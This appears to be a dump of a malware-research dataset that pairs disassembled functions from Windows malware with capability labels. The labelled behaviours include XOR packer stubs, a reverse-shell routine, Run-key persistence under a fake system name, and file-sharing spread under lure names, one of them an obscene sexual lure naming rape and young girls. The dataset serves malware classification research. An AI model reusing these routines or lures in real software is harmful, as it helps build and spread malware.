joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407d9c
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407e75
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407dd4
mov eax, dword [ebp - 4]
call fcn.004071d0
jmp 0x407ddc
mov eax, dword [ebp - 4]
call fcn.00407bd4
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407e28
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407e12
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.004071d0
jmp 0x407e24
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407bd4
inc ebx
dec esi
jne 0x407dec
push 1
push dword [ebp - 4]
push 0x407e8c
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f34
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407e7c
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x17a90e34
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
mov eax, section..data
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x7b020c1c
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x404220
Capabilities:
Get common file path
Get disk information
Get hostname
Manipulate console buffer
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14c4
call fcn.0040b120
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [0x44c598]
push ebx
mov ebx, dword [eax + 4]
mov eax, dword [0x44c59c]
push esi
mov dword [ebp - 0x18], eax
push edi
lea eax, [ebp - 0xc]
mov dword [ebp - 8], ecx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], edx
call fcn.00404210
mov edi, dword [ebp - 0xc]
mov ecx, dword [0x44c5a0]
mov edx, dword [0x44c5a4]
add edi, 0x23f
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x10], 0x20
lea ecx, [ecx]
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov esi, dword [ebp - 8]
mov eax, dword [0x453d1c]
shl esi, 4
add esi, dword [ebp - 0x24]
cmp eax, 0xfa9
jne 0x4042ac
mov dword [0x453d18], 0xedeb2e40
jmp 0x4042c7
cmp eax, 0x3eb
jne 0x4042c7
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [0x4537a8], 0
mov eax, dword [ebp - 8]
lea ecx, [edi + eax]
mov eax, dword [ebp - 8]
shr eax, 5
mov dword [ebp - 4], eax
mov edx, dword [ebp - 0x20]
add dword [ebp - 4], edx
xor esi, ecx
cmp dword [0x453d1c], 0x9e6
mov dword [0x453d14], 0xf4ea3dee
jne 0x404300
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
xor dword [ebp - 4], esi
cmp dword [0x453d1c], 0x213
jne 0x4043ac
push 0
lea eax, [ebp - 0x4c4]
push eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
lea ecx, [ebp - 0xcc4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
lea edx, [ebp - 0x30]
push edx
lea eax, [ebp - 0x14c4]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
lea ecx, [ebp - 0x8c4]
push ecx
push 0
push 0x403f08
push 0x403f54
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
lea edx, [ebp - 0x28]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
lea eax, [ebp - 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0
lea ecx, [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
sub ebx, dword [ebp - 4]
cmp dword [0x453d1c], 0xc
jne 0x4043c0
push 0
call dword [sym.imp.KERNEL32.dll_GlobalWire]
mov edx, ebx
shr edx, 5
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x18]
add dword [ebp - 4], eax
mov eax, ebx
shl eax, 4
add eax, dword [ebp - 0x1c]
lea ecx, [edi + ebx]
xor eax, ecx
xor eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
sub dword [ebp - 8], eax
add edi, 0x61c88647
sub dword [ebp - 0x10], 1
jne 0x404280
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 8]
pop edi
pop esi
mov dword [eax + 4], ebx
mov dword [eax], edx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x404410
Capabilities:
Connect pipe
Create process on windows
Create reverse shell
Get thread local storage value
Read pipe
Set environment variable
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1808
call fcn.0040b120
mov eax, dword [0x453d1c]
mov ecx, dword [0x4537ac]
shr eax, 3
test eax, eax
jbe 0x404530
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrencyFormatA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
mov edi, edi
cmp dword [0x453d1c], 0x959
jne 0x404516
push 0
lea eax, [ebp - 0x408]
push eax
push 0
push 0
push 0
push 0
call esi
push 0
push 0
push 0
call edi
push 0
lea ecx, [ebp - 0xc08]
push ecx
call ebx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CallNamedPipeA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
lea edx, [ebp - 0x1008]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push 0
lea eax, [ebp - 0x1808]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404220
add dword [ebp - 4], 8
sub dword [ebp - 8], 1
jne 0x404450
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x407ed0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44b7a8]
jne 0x407eda
repz ret
jmp fcn.0040d05e

Function at 0x40cc85
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040916b
and dword [ebp - 4], 0
cmp dword [0x451798], 0
mov ebx, eax
jne 0x40cd36
push 0x401cb4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40cde7
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401ca8
push edi
call esi
test eax, eax
je 0x40cde7
push eax
call fcn.004090f9
mov dword [esp], 0x401c98
push edi
mov dword [0x451798], eax
call esi
push eax
call fcn.004090f9
mov dword [esp], 0x401c84
push edi
mov dword [0x45179c], eax
call esi
push eax
call fcn.004090f9
mov dword [esp], 0x401c68
push edi
mov dword [0x4517a0], eax
call esi
push eax
call fcn.004090f9
pop ecx
mov dword [0x4517a8], eax
test eax, eax
je 0x40cd36
push 0x401c50
push edi
call esi
push eax
call fcn.004090f9
pop ecx
mov dword [0x4517a4], eax
mov eax, dword [0x4517a4]
cmp eax, ebx
je 0x40cd8e
cmp dword [0x4517a8], ebx
je 0x40cd8e
push eax
call fcn.00409174
push dword [0x4517a8]
mov esi, eax
call fcn.00409174
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40cd8e
test edi, edi
je 0x40cd8e
call esi
test eax, eax
je 0x40cd85
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40cd85
test byte [ebp - 0xc], 1
jne 0x40cd8e
or dword [ebp + 0x10], 0x200000
jmp 0x40cdc7
mov eax, dword [0x45179c]
cmp eax, ebx
je 0x40cdc7
push eax
call fcn.00409174
pop ecx
test eax, eax
je 0x40cdc7
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40cdc7
mov eax, dword [0x4517a0]
cmp eax, ebx
je 0x40cdc7
push eax
call fcn.00409174
pop ecx
test eax, eax
je 0x40cdc7
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x451798]
call fcn.00409174
pop ecx
test eax, eax
je 0x40cde7
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40cde9
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40126c
Capabilities:
Encode data using xor
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
push 0
pop edi
lea ebx, [edi]
push 0x45
pop eax
add eax, dword [0x401ccd]
push dword [esp + 4]
push 0x40
pop esi
inc esi
xor ecx, ecx
sub ecx, dword [0x404fb2]
sub ecx, 0xffffffc4
add eax, edx
pop edx
and ebx, edx
mov ebx, esi
lea ebx, [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
dec bl
mov dword [0x40ce12], ecx
cmp eax, 0xa1
jb 0x4012da
jne 0x4012f2
sub ebx, 0x40369c
imul dword [esp + 0x28]
push dword [0x404d7c]
pop dword [0x40cfc9]
lea ebx, [esp - 0x68]
lea eax, [0x40556d]
add eax, 0x403d95
or ebx, eax
not bl
push 0x405d95
call dword [sym.imp.KERNEL32.dll_ExitThread]
lea eax, [ebp]
mov bl, 0x3f
lea ebx, [eax + ecx]
mov edx, edx
mov eax, dword fs:[0x30]
push 0xffffffffffffffc5
pop ebx
mov ebx, ecx
mov edx, eax
not bh
neg bx
lea ebx, [eax + esi]
mov bl, cl
mov cl, 0x20
mov cl, bl
mov eax, dword [edx + 0x2c]
xor ebx, ebx
mov ebx, 0x400a76
mov cl, byte [eax + 0x6f]
or ebx, esi
shr eax, 0x10
add ebx, ebp
sbb ebx, esi
sub cl, ah
je 0x40134c
sub dword [ebp + 4], edx
mov dword [0x40cc1b], ecx
lea ebx, [ebp + 0xc]
push edi
push ebp
lea ebx, [eax]
call dword [sym.imp.KERNEL32.dll__lcreat]
mov dword [ebp], ebx
leave
ret
sub ebx, esi
xor ebx, esi
and ebx, ecx
xor ebx, edi
mov eax, dword [edx + 0xc]
sub ebx, esp
jae 0x40135f
add ebx, edi
sub ebx, eax
mov esi, dword [eax + 0x1c]
lea ebx, [edx]
lodsd eax, dword [esi]
or ebx, esi
mov eax, dword [eax + 8]
add bl, al
jae 0x401370
or ebx, ecx
mov edx, dword [eax + 0x3c]
jg 0x401379
mov bl, 0x61
and ebx, ecx
mov ebx, ebp
add edx, 0x104
add eax, dword [eax + edx]
add bh, bl
lea ebx, [ecx]
or ebx, ecx
inc eax
and ebx, ecx
mov ecx, dword [eax]
add ebx, esp
and ecx, dword [eax + 4]
jae 0x401398
and ebx, edx
add ecx, 0x405d74
add ebx, ebx
mov ecx, ecx
cmp ecx, 0x5586db9
jne 0x401388
mov ebx, 0x400692
lea ebx, [eax + esi]
xchg edx, eax
jg 0x4013b7
lea eax, [eax]
mov ebx, ecx
mov ecx, ebx
sub edx, 1
or ebx, eax
neg bl
mov eax, dword [edx]
sbb ebx, edx
and eax, 0xffff
not bl
add eax, 0x401a35
or ebx, edx
xor ebx, ecx
sub eax, 0x40a58a
jne 0x4013b7
and ebx, edi
xor dword [0x40cfcb], edx
sbb ebx, edi
push 0x40cfd1
or ebx, edx
mov ebx, eax
mov eax, ebx
push 0x1c
add dword [esp], 0x24
lea ebx, [edx]
push 0x1f60
sub ebx, ebp
push 0x40130e
lea ebx, ds:[esp]
add ebx, edx
push 0xfffffffffffffffe
jbe 0x401412
mov ebx, edx
mov ebx, esp
inc dword [esp]
mov edx, edx
lea ebx, [eax]
xor bl, 0x56
mov edx, edx
mov edx, dword [0x40cfcb]
call edx
mov ebx, eax
mov eax, ebx
xor ebx, edi
lea ecx, [0x403d1b]
pop ebx
sub esp, 4
add bh, bh
sub ecx, 0x403c85
jbe 0x401444
mov ebx, eax
mov edx, 0x40151d
jg 0x40144f
add bl, al
dec bl
mov edi, 0xea
xor dword [edx], edi
sbb ebx, ecx
xor bh, 9
mov esi, dword [edx]
sub ebx, eax
mov bl, al
mov al, 0xb6
mov al, bl
add esi, 1
mov dword [edx], esi
and ebx, edx
mov ecx, ecx
add edx, 0xffffffff
jbe 0x40147c
or ebx, 0x1ae708
mov ebx, esp
sub ecx, 1
jne 0x401449
or ebx, eax
lea ebx, [eax + esi]
lea esi, [ecx + edi*8 - 0x2b]
adc eax, 0x148955db
lds ecx, [ecx - 0x3bd90a9e]
sub al, 0xe5
sbb al, byte [ebx]
push cs
rol dword [ebp - 0x36469ceb], 1
jmp 0x2b6b1007
Function at 0x401087
Capabilities:
Create process on windows

Disassembly:
jmp 0x4022d0
sub esp, 0x54
push esi
push edi
mov ecx, 0x11
xor eax, eax
lea edi, [esp + 0x18]
mov esi, dword [esp + 0x60]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0x20
push 0
push 0
push 0
push 0
push esi
mov dword [esp + 0x40], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, dword [esp + 0x64]
test eax, eax
jne 0x40232c
mov edx, dword [esp + 8]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.MSVCRT.dll__unlink]
add esp, 4
pop edi
pop esi
add esp, 0x54
ret

Function at 0x40a015
Capabilities:
Encode data using xor

Disassembly:
jmp 0x40a002
nop
push ebp
mov ebp, esp
call 0x40a015
call fcn.0040a08b
stc
xchg ebx, ebx
mov eax, eax
push dword fs:[0]
mov dword fs:[0], esp
xchg ebx, ebx
cmc
jmp 0x40a026
sub edi, edi
sub ecx, ecx
xchg ebx, ebx
mov cl, 0x19
clc
cmc
lea edi, [edi + 1]
jmp 0x40a035
clc
stc
loop 0x40a030
jmp 0x40a03b
stc
call fcn.0040a083
stc
clc
add ecx, 0x59
push ecx
xor edx, edx
or edx, 0x2990
xchg ebx, ebx
xchg byte [ecx], al
xchg ebx, ebx
xor ax, di
cld
nop
mov byte [ecx], al
cld
xchg ebx, ebx
add ecx, 1
sub edx, 1
clc
nop
or edx, edx
jne 0x40a054
pop ecx
clc
mov edi, dword [ebp - 8]
mov dword fs:[0], edi
clc
nop
cld
leave
xchg ebx, ebx
jmp ecx
Function at 0x406273
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp dword [ebp + 8], ebx
je 0x406298
mov eax, dword [0x40a8a0]
cmp eax, 0xffffffff
je 0x40628f
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [0x40a8a0], 0xffffffff
jmp 0x40630b
cmp dword [0x440a40], ebx
je 0x40630b
cmp byte [0x440640], bl
je 0x4062d7
cmp dword [0x40a8a0], 0xffffffff
jne 0x4062e0
push 4
push 0x40000000
push 0x440640
call fcn.00405c27
cmp eax, 0xffffffff
mov dword [0x40a8a0], eax
je 0x40630b
push 2
push ebx
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp dword [0x40a8a0], 0xffffffff
je 0x40630b
push esi
mov esi, 0x444a60
push 0x40aae8
push esi
call fcn.00405f75
lea eax, [ebp + 8]
push ebx
push eax
push esi
call fcn.00405f68
push eax
push esi
push dword [0x40a8a0]
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
pop ebx
pop ebp
ret 4

Function at 0x4064bd
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push esi
xor esi, esi
cmp dword [0x44023c], esi
push edi
jne 0x4064f7
mov ecx, 0x440238
push 8
mov eax, esi
pop edi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec edi
jne 0x4064d3
mov dword [ecx], eax
add ecx, 4
inc esi
cmp ecx, 0x440638
jl 0x4064ce
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0xc]
mov edx, ecx
dec ecx
test edx, edx
not eax
jbe 0x40652c
lea edx, [ecx + 1]
mov ecx, dword [esp + 0x10]
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x440238]
xor eax, esi
inc ecx
dec edx
jne 0x40650f
pop edi
pop esi
not eax
ret 0xc

Function at 0x430005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
mov eax, section..text
nop
nop
mov ebx, 0x408f6c
mov ecx, 0x784e3f55
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
mov ecx, 0x7c8b64d8
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x403680
Capabilities:
Enumerate gui resources
Get hostname

Disassembly:
mov eax, 0x1c0c
call fcn.0040ea10
mov eax, dword [0x2b8cbe4]
mov ecx, dword [0x2b8cb58]
shr eax, 3
test eax, eax
jbe 0x4037bb
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
jmp 0x4036d0
cmp dword [0x2b8cbe4], 0x959
jne 0x40379d
push 0
lea eax, [esp + 0x20]
push eax
push 0
push 0x402d88
push 0
push 0
call edi
push 0
lea ecx, [esp + 0x1020]
push ecx
push 0
call ebx
push 0
push 0
call esi
push 0x402da8
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
push 0
push 0
lea edx, [esp + 0x824]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
lea eax, [esp + 0x1420]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push 0
push 0x402dec
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x420]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
push 0x402df4
push 0x402e0c
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [esp + 0x10]
push eax
call fcn.004034b0
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x4036d0
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c0c
ret
Function at 0x40616b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x432aa8]
jne 0x406175
repz ret
jmp fcn.0040a76c

Function at 0x40ce3b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407ace
and dword [ebp - 4], 0
cmp dword [0x4360d8], 0
mov ebx, eax
jne 0x40ceec
push 0x402c94
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40cf9d
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402c88
push edi
call esi
test eax, eax
je 0x40cf9d
push eax
call fcn.00407a5c
mov dword [esp], 0x402c78
push edi
mov dword [0x4360d8], eax
call esi
push eax
call fcn.00407a5c
mov dword [esp], 0x402c64
push edi
mov dword [0x4360dc], eax
call esi
push eax
call fcn.00407a5c
mov dword [esp], 0x402c48
push edi
mov dword [0x4360e0], eax
call esi
push eax
call fcn.00407a5c
pop ecx
mov dword [0x4360e8], eax
test eax, eax
je 0x40ceec
push 0x402c30
push edi
call esi
push eax
call fcn.00407a5c
pop ecx
mov dword [0x4360e4], eax
mov eax, dword [0x4360e4]
cmp eax, ebx
je 0x40cf44
cmp dword [0x4360e8], ebx
je 0x40cf44
push eax
call fcn.00407ad7
push dword [0x4360e8]
mov esi, eax
call fcn.00407ad7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40cf44
test edi, edi
je 0x40cf44
call esi
test eax, eax
je 0x40cf3b
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40cf3b
test byte [ebp - 0xc], 1
jne 0x40cf44
or dword [ebp + 0x10], 0x200000
jmp 0x40cf7d
mov eax, dword [0x4360dc]
cmp eax, ebx
je 0x40cf7d
push eax
call fcn.00407ad7
pop ecx
test eax, eax
je 0x40cf7d
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40cf7d
mov eax, dword [0x4360e0]
cmp eax, ebx
je 0x40cf7d
push eax
call fcn.00407ad7
pop ecx
test eax, eax
je 0x40cf7d
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4360d8]
call fcn.00407ad7
pop ecx
test eax, eax
je 0x40cf9d
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40cf9f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401171
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
cmp dword [ebp - 4], 0
jne 0x401191
jmp 0x4011e7
push str._256mb_32bit
mov ecx, dword [0x409f24]
push ecx
call fcn.00402290
add esp, 8
mov edx, dword [0x409f24]
push edx
call fcn.00401537
add esp, 4
mov eax, dword [0x409f24]
push eax
call fcn.00402200
add esp, 4
push eax
mov ecx, dword [0x409f24]
push ecx
push 1
push 0
push str.VMIntel386
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret

Function at 0x401380
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1004
call fcn.004026e0
push 0x800
lea eax, [ebp - 0x800]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x800]
push ecx
call fcn.004014f7
add esp, 4
push 0x800
lea edx, [ebp - 0x1004]
push edx
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x1004]
push eax
call fcn.004014f7
add esp, 4
push str._Intelx386
lea ecx, [ebp - 0x1004]
push ecx
call fcn.00402290
add esp, 8
lea edx, [ebp - 0x1004]
push edx
call fcn.00406a86
add esp, 4
lea eax, [ebp - 0x1004]
push eax
call fcn.00402200
add esp, 4
add eax, 0x32
push eax
call fcn.00402666
add esp, 4
mov dword [0x409f24], eax
lea ecx, [ebp - 0x1004]
push ecx
mov edx, dword [0x409f24]
push edx
call fcn.00402280
add esp, 8
push str._VMIntel386.exe
mov eax, dword [0x409f24]
push eax
call fcn.00402290
add esp, 8
mov dword [ebp - 0x804], 0
jmp 0x40145f
mov ecx, dword [ebp - 0x804]
add ecx, 1
mov dword [ebp - 0x804], ecx
mov edx, dword [ebp - 0x804]
imul edx, edx, 0x44
movsx eax, byte [edx + str.Winamp_5.0__full_version_.exe]
test eax, eax
je 0x4014ab
mov ecx, dword [ebp - 0x804]
imul ecx, ecx, 0x44
add ecx, str.Winamp_5.0__full_version_.exe
push ecx
mov edx, dword [ebp - 0x804]
imul edx, edx, 0x44
mov eax, dword [edx + 0x408220]
push eax
lea ecx, [ebp - 0x1004]
push ecx
lea edx, [ebp - 0x800]
push edx
call fcn.004011eb
add esp, 0x10
jmp 0x401450
push str.Pack_sex_very_hot_nude_young_girl_porn_erotic_private_pussy_rape_clitoris_suck_chicas_fotos_culos_tetas_co
push 0xc47cb2
lea eax, [ebp - 0x1004]
push eax
lea ecx, [ebp - 0x800]
push ecx
call fcn.004011eb
add esp, 0x10
push str._._
lea edx, [ebp - 0x1004]
push edx
call fcn.00402290
add esp, 8
push 0x5f5e0ff
lea eax, [ebp - 0x1004]
push eax
call fcn.00401a65
add esp, 8
mov esp, ebp
pop ebp
ret